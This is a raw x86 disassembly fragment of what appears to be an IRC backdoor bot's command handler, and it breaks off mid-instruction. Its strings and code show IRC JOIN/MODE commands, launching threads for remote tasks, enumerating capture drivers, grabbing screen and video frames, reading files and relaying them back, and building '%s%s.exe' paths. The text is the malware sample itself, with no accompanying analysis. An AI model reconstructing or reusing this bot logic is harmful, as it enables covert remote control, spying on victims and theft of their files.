call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408404 mov [ebp+var_638], 5 loc_408404: ; CODE XREF: sub_401ACD+692Cj cmp [ebp+var_C], ebx jz loc_406CDF push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDF lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2690C14h test eax, eax jnz short loc_40844D push offset unk_42A6EC jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40844D: ; CODE XREF: sub_401ACD+6974j push edi push offset dword_42A6D0 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_408458: ; CODE XREF: sub_401ACD+4ACCj ; sub_401ACD+4AE3j push edi push offset aScorservs ; "scorservs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D1 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 26D0000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD81 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084ED push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F3 ; --------------------------------------------------------------------------- loc_4084ED: ; CODE XREF: sub_401ACD+6A0Aj mov [ebp+var_23C0], ebx loc_4084F3: ; CODE XREF: sub_401ACD+6A1Ej mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40850A push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_408510 ; --------------------------------------------------------------------------- loc_40850A: ; CODE XREF: sub_401ACD+6A2Cj mov [ebp+var_23C4], ebx loc_408510: ; CODE XREF: sub_401ACD+6A3Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_42A698 push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F7 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163FA push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4085C0 loc_4085AA: ; CODE XREF: sub_401ACD+6AF1j cmp [ebp+var_23B0], ebx jnz loc_406CDF push 32h call near ptr 26A0F44h nop jmp short loc_4085AA ; --------------------------------------------------------------------------- loc_4085C0: ; CODE XREF: sub_401ACD+6ADBj nop call near ptr 26B0857h push eax push offset dword_42A65C jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4085D1: ; CODE XREF: sub_401ACD+699Aj push offset dword_42A614 loc_4085D6: ; CODE XREF: sub_401ACD+2E74j ; sub_401ACD+457Dj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDF ; --------------------------------------------------------------------------- loc_4085E9: ; CODE XREF: sub_401ACD+4A9Ej ; sub_401ACD+4AB5j push [ebp+var_8C] push offset dword_42D02C call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A604 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408674 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax call near ptr 26A0F44h nop loc_408674: ; CODE XREF: sub_401ACD+6B8Fj push offset dword_42A5F0 call sub_4151AD mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408688: ; CODE XREF: sub_401ACD+4A70j ; sub_401ACD+4A87j push [ebp+var_8C] push offset dword_42D02C call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409855 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408746 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A604 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_42A5D8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409855 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408746: ; CODE XREF: sub_401ACD+6BFBj push offset unk_42A5A4 loc_40874B: ; CODE XREF: sub_401ACD+7543j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_40875A: ; CODE XREF: sub_401ACD+74CBj ; sub_401ACD+7624j cmp [ebp+var_8], ebx jnz short loc_40877B push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_40877B: ; CODE XREF: sub_401ACD+6C90j ; sub_401ACD+72C8j ... lea eax, [ebp+var_2C4] push eax call sub_4151AD jmp loc_409854 ; --------------------------------------------------------------------------- loc_40878C: ; CODE XREF: sub_401ACD+4A42j ; sub_401ACD+4A59j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_42A570 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset dword_4143CC push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40884C loc_40883A: ; CODE XREF: sub_401ACD+6D7Dj cmp [ebp+var_2088], ebx jnz short loc_408867 push 32h nop call near ptr 26A0F44h jmp short loc_40883A ; --------------------------------------------------------------------------- loc_40884C: ; CODE XREF: sub_401ACD+6D6Bj nop call near ptr 26B0857h push eax push offset unk_42A534 loc_408858: ; CODE XREF: sub_401ACD+6E8Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408867: ; CODE XREF: sub_401ACD+6D73j ; sub_401ACD+6E6Ej cmp [ebp+var_8], ebx jnz loc_409631 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409629 ; --------------------------------------------------------------------------- loc_408887: ; CODE XREF: sub_401ACD+4A14j ; sub_401ACD+4A2Bj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_42A508 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset dword_413B78 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40894B loc_408935: ; CODE XREF: sub_401ACD+6E7Cj cmp [ebp+var_221C], ebx jnz loc_408867 push 32h nop call near ptr 26A0F44h jmp short loc_408935 ; --------------------------------------------------------------------------- loc_40894B: ; CODE XREF: sub_401ACD+6E66j nop call near ptr 26B0857h push eax push offset dword_42A4CC jmp loc_408858 ; --------------------------------------------------------------------------- loc_40895C: ; CODE XREF: sub_401ACD+49E6j ; sub_401ACD+49FDj push edi lea eax, [ebp+var_2C4] push offset dword_42A4C4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408979: ; CODE XREF: sub_401ACD+6F17j test eax, eax jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 loc_408995: ; CODE XREF: sub_401ACD+7A56j lea eax, [ebp+var_2C4] push eax push offset dword_42A4BC push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D jmp loc_404934 ; --------------------------------------------------------------------------- loc_4089C0: ; CODE XREF: sub_401ACD+49B8j ; sub_401ACD+49CFj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_42A4B0 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408979 ; --------------------------------------------------------------------------- loc_4089E6: ; CODE XREF: sub_401ACD+498Aj ; sub_401ACD+49A1j push edi lea eax, [ebp+var_2C4] push offset dword_42BB5C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409855 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 lea eax, [ebp+var_2C4] push eax push offset dword_42A4BC push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D add esp, 0Ch push edi push esi push offset dword_42A494 loc_408A4C: ; CODE XREF: sub_401ACD+700Aj ; sub_401ACD+7079j ... call sub_415221 jmp loc_404934 ; --------------------------------------------------------------------------- loc_408A56: ; CODE XREF: sub_401ACD+495Cj ; sub_401ACD+4973j cmp [ebp+var_C], ebx jz loc_409855 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A85 push esi lea eax, [ebp+var_2C4] push offset dword_42A48C push eax call sub_41B886 add esp, 0Ch loc_408A85: ; CODE XREF: sub_401ACD+6FA1j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409855 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 lea eax, [ebp+var_2C4] push eax push offset dword_42A4BC push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D add esp, 0Ch push esi push edi push offset dword_42A470 jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408ADC: ; CODE XREF: sub_401ACD+492Ej ; sub_401ACD+4945j cmp [ebp+var_C], ebx jz loc_409855 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409855 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push esi push offset dword_42A4BC push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D add esp, 0Ch push esi push edi push offset dword_42A454 jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408B4B: ; CODE XREF: sub_401ACD+4900j ; sub_401ACD+4917j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch push esi push offset unk_42A42C jmp loc_40984E ; --------------------------------------------------------------------------- loc_408B87: ; CODE XREF: sub_401ACD+48D2j ; sub_401ACD+48E9j push [ebp+var_8C] push offset dword_42D02C call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_42A420 push [ebp+arg_4] call sub_409A2D push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax call near ptr 26A0F44h nop push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D push offset dword_42A40C call sub_4151AD jmp loc_403520 ; --------------------------------------------------------------------------- loc_408BEB: ; CODE XREF: sub_401ACD+48A4j ; sub_401ACD+48BBj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409855 push esi lea eax, [ebp+var_2C4] push offset dword_42AB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A73 add esp, 20h push esi push [ebp+arg_10] push offset unk_42A3F0 jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408C58: ; CODE XREF: sub_401ACD+4876j ; sub_401ACD+488Dj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409855 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A73 add esp, 14h push esi push [ebp+arg_10] push offset unk_42A3D0 jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408CAD: ; CODE XREF: sub_401ACD+4848j ; sub_401ACD+485Fj cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B5 pop ecx pop ecx push [ebp+arg_10] push offset unk_42A3B0 loc_408CDC: ; CODE XREF: sub_401ACD+5853j ; sub_401ACD+7B2Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_409610 ; --------------------------------------------------------------------------- loc_408CF0: ; CODE XREF: sub_401ACD+481Aj ; sub_401ACD+4831j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E2 jmp loc_4040FD ; --------------------------------------------------------------------------- loc_408D0A: ; CODE XREF: sub_401ACD+47DCj ; sub_401ACD+47F1j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409855 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB2 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D9A push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A604 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_42A388 push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877B ; --------------------------------------------------------------------------- loc_408D9A: ; CODE XREF: sub_401ACD+7270j lea eax, [ebp+var_2C4] push offset unk_42A358 push eax call sub_41B886 pop ecx pop ecx jmp loc_40877B ; --------------------------------------------------------------------------- loc_408DB2: ; CODE XREF: sub_401ACD+725Bj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF7 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_42A33C push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877B ; --------------------------------------------------------------------------- loc_408DFE: ; CODE XREF: sub_401ACD+47B2j ; sub_401ACD+47C7j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E59 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E46 push edi call sub_4153BD cmp eax, 1 pop ecx jnz short loc_408E3F push edi lea eax, [ebp+var_2C4] push offset unk_42A308 push eax call sub_41B886 add esp, 0Ch jmp short loc_408E59 ; --------------------------------------------------------------------------- loc_408E3F: ; CODE XREF: sub_401ACD+7359j push offset unk_42A2D8 jmp short loc_408E4B ; --------------------------------------------------------------------------- loc_408E46: ; CODE XREF: sub_401ACD+734Dj push offset unk_42A29C loc_408E4B: ; CODE XREF: sub_401ACD+7377j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E59: ; CODE XREF: sub_401ACD+7342j ; sub_401ACD+7370j push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE6 xor edi, edi loc_408E6E: ; CODE XREF: sub_401ACD+7404j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CB684 test eax, eax jz short loc_408ECD lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_42A26C push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 28h loc_408ECD: ; CODE XREF: sub_401ACD+73C2j inc edi cmp edi, 0Ah jl short loc_408E6E lea eax, [ebp+var_2C4] push offset unk_42A244 push eax call sub_41B886 pop ecx pop ecx loc_408EE6: ; CODE XREF: sub_401ACD+739Dj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F87 cmp [ebp+esi+var_88], ebx jz short loc_408F74 cmp [ebp+esi+var_84], ebx jz short loc_408F74 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F74 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F74 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F8 add esp, 10h test eax, eax jnz short loc_408F6D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_42A210 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F87 ; --------------------------------------------------------------------------- loc_408F6D: ; CODE XREF: sub_401ACD+7481j push offset unk_42A1DC jmp short loc_408F79 ; --------------------------------------------------------------------------- loc_408F74: ; CODE XREF: sub_401ACD+7437j ; sub_401ACD+7440j ... push offset unk_42A1A4 loc_408F79: ; CODE XREF: sub_401ACD+74A5j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F87: ; CODE XREF: sub_401ACD+742Aj ; sub_401ACD+749Ej push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40875A mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901F mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901F mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901F mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901F mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901F push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F1 add esp, 14h test eax, eax jnz short loc_409015 push [ebp+arg_1C] push offset unk_42A170 jmp loc_40874B ; --------------------------------------------------------------------------- loc_409015: ; CODE XREF: sub_401ACD+7539j push offset unk_42A130 jmp loc_4090E3 ; --------------------------------------------------------------------------- loc_40901F: ; CODE XREF: sub_401ACD+74DDj ; sub_401ACD+74EBj ... push offset unk_42A0F0 jmp loc_4090E3 ; --------------------------------------------------------------------------- loc_409029: ; CODE XREF: sub_401ACD+4042j ; sub_401ACD+4057j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409099 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409054: ; CODE XREF: sub_401ACD+75B6j test eax, eax jz short loc_409085 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409054 ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+7589j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_42A0CC jmp loc_409227 ; --------------------------------------------------------------------------- loc_409099: ; CODE XREF: sub_401ACD+756Fj push [ebp+arg_10] push offset unk_42A0A8 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4090A6: ; CODE XREF: sub_401ACD+4018j ; sub_401ACD+402Dj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push offset asc_42A0A4 ; "\n" push esi call sub_41BEC0 push esi call sub_419A51 add esp, 0Ch test eax, eax jnz short loc_4090F6 push offset unk_42A078 loc_4090E3: ; CODE XREF: sub_401ACD+754Dj ; sub_401ACD+7557j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40875A ; --------------------------------------------------------------------------- loc_4090F6: ; CODE XREF: sub_401ACD+760Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A060 push eax call sub_41B886 add esp, 0Ch jmp loc_40877B ; --------------------------------------------------------------------------- loc_409110: ; CODE XREF: sub_401ACD+3FEEj ; sub_401ACD+4003j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409855 push eax call sub_418212 test eax, eax pop ecx jnz short loc_409140 push offset unk_42A040 jmp short loc_4090E3 ; --------------------------------------------------------------------------- loc_409140: ; CODE XREF: sub_401ACD+766Aj push offset dword_42A024 jmp short loc_4090E3 ; --------------------------------------------------------------------------- loc_409147: ; CODE XREF: sub_401ACD+3FC4j ; sub_401ACD+3FD9j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409178 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409178: ; CODE XREF: sub_401ACD+7697j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_42A00C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F7 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB6 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40921B loc_409205: ; CODE XREF: sub_401ACD+774Cj cmp [ebp+var_1EF4], ebx jnz loc_406D00 push 32h nop call near ptr 26A0F44h jmp short loc_409205 ; --------------------------------------------------------------------------- loc_40921B: ; CODE XREF: sub_401ACD+7736j nop call near ptr 26B0857h push eax push offset unk_429FCC loc_409227: ; CODE XREF: sub_401ACD+29CFj ; sub_401ACD+75C7j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406D00 ; --------------------------------------------------------------------------- loc_40923B: ; CODE XREF: sub_401ACD+3F9Aj ; sub_401ACD+3FAFj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96B add esp, 10h push [ebp+arg_10] push offset dword_429FB4 jmp loc_40984E ; --------------------------------------------------------------------------- loc_40925D: ; CODE XREF: sub_401ACD+3F70j ; sub_401ACD+3F85j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429F90 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1B push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz loc_4023E6 loc_409326: ; CODE XREF: sub_401ACD+786Dj cmp [ebp+var_1BA0], ebx jnz loc_4083BD push 32h nop call near ptr 26A0F44h jmp short loc_409326 ; --------------------------------------------------------------------------- loc_40933C: ; CODE XREF: sub_401ACD+3F46j ; sub_401ACD+3F5Bj push [ebp+arg_10] call near ptr 26B017Ah nop test eax, eax jz short loc_409367 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429F74 push 200h push eax call sub_41B980 jmp loc_409445 ; --------------------------------------------------------------------------- loc_409367: ; CODE XREF: sub_401ACD+787Aj push offset dword_42A77C call sub_41814D pop ecx push eax jmp loc_403F48 ; --------------------------------------------------------------------------- loc_409378: ; CODE XREF: sub_401ACD+3F1Cj ; sub_401ACD+3F31j push [ebp+arg_10] call sub_41B779 push eax call sub_4199CA pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409399 push offset unk_429F50 jmp short loc_40939E ; --------------------------------------------------------------------------- loc_409399: ; CODE XREF: sub_401ACD+78C3j push offset unk_429F20 loc_40939E: ; CODE XREF: sub_401ACD+78CAj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D03 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h jmp loc_406D03 ; --------------------------------------------------------------------------- loc_4093D7: ; CODE XREF: sub_401ACD+3EF2j ; sub_401ACD+3F07j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BD add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FD push offset unk_429F00 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4093FD: ; CODE XREF: sub_401ACD+7924j push offset unk_429ED0 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_409407: ; CODE XREF: sub_401ACD+3EC8j ; sub_401ACD+3EDDj mov esi, [ebp+arg_10] push esi call dword_4CB694 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944D push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB60C cmp eax, ebx jz short loc_409468 push dword ptr [eax] loc_409433: ; CODE XREF: sub_401ACD+7999j push esi lea eax, [ebp+var_2C4] push offset unk_429EB0 push eax call sub_41B886 loc_409445: ; CODE XREF: sub_401ACD+7895j add esp, 10h jmp loc_406CDF ; --------------------------------------------------------------------------- loc_40944D: ; CODE XREF: sub_401ACD+794Dj push esi call dword_4CB6D8 cmp eax, ebx jz short loc_409468 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB6E0 push eax jmp short loc_409433 ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_401ACD+7962j ; sub_401ACD+7989j push offset unk_429E88 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_409472: ; CODE XREF: sub_401ACD+3E9Ej ; sub_401ACD+3EB3j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429E60 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_40948F: ; CODE XREF: sub_401ACD+3E74j ; sub_401ACD+3E89j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call 